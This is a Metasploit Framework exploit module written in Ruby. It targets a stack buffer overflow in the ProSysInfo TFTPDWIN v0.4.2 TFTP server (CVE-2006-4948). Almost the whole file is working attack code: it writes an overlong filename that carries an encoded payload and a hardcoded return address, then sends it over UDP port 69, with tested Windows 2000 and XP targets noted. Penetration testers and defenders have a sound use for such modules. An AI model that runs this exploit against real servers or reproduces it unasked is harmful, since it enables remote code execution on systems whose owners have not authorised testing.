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## # $Id: tftpdwin_long_filename.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'TFTPDWIN v0.4.2 Long Filename Buffer Overflow', 'Description'=> %q{ This module exploits the ProSysInfo TFTPDWIN threaded TFTP Server. By sending an overly long file name to the tftpd.exe server, the stack can be overwritten. }, 'Author' => [ 'patrick' ], 'Version'=> '$Revision: 9179 $', 'References' => [ [ 'CVE', '2006-4948' ], [ 'OSVDB', '29032' ], [ 'BID', '20131' ], [ 'URL', 'http://www.milw0rm.com/exploits/3132' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload'=> { 'Space'=> 284, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets'=> [ # Patrick - Tested OK 2007/10/02 w2ksp0, w2ksp4, xpsp0, xpsp2 en [ 'Universal - tftpd.exe', { 'Ret' => 0x00458b91 } ] # pop edx / ret tftpd.exe ], 'Privileged' => false, 'DisclosureDate' => 'Sep 21 2006', 'DefaultTarget'=> 0)) register_options( [ Opt::RPORT(69), ], self) end def exploit connect_udp print_status("Trying target #{target.name}...") sploit = "\x00\x02" + payload.encoded + [target['Ret']].pack('V') sploit << "netascii\x00" # The first null byte is borrowed for the target return address :) udp_sock.put(sploit) disconnect_udp end end |
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